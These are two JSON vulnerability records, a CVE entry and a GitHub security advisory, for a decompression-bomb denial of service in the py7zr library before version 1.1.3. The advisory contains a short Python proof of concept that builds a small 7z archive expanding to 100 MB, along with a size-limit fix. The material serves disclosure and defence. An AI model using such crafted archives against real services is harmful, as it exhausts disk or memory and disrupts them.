{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55195",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-09T14:05:14.472398Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-09T14:06:02.499Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "py7zr",
          "vendor": "miurahr",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr\u0027s Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-409",
              "description": "CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-08T20:30:58.654Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
        },
        {
          "name": "https://github.com/miurahr/py7zr/commit/28faf107b64374fa5a02bfb93aa2024e281ca97b",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miurahr/py7zr/commit/28faf107b64374fa5a02bfb93aa2024e281ca97b"
        },
        {
          "name": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
        }
      ],
      "source": {
        "advisory": "GHSA-gjrg-mpp7-g774",
        "discovery": "UNKNOWN"
      },
      "title": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55195",
    "datePublished": "2026-07-08T20:30:58.654Z",
    "dateReserved": "2026-06-16T15:20:43.087Z",
    "dateUpdated": "2026-07-09T14:06:02.499Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n    import io\n    z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
  "id": "GHSA-gjrg-mpp7-g774",
  "modified": "2026-06-19T21:16:29Z",
  "published": "2026-06-19T21:16:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
}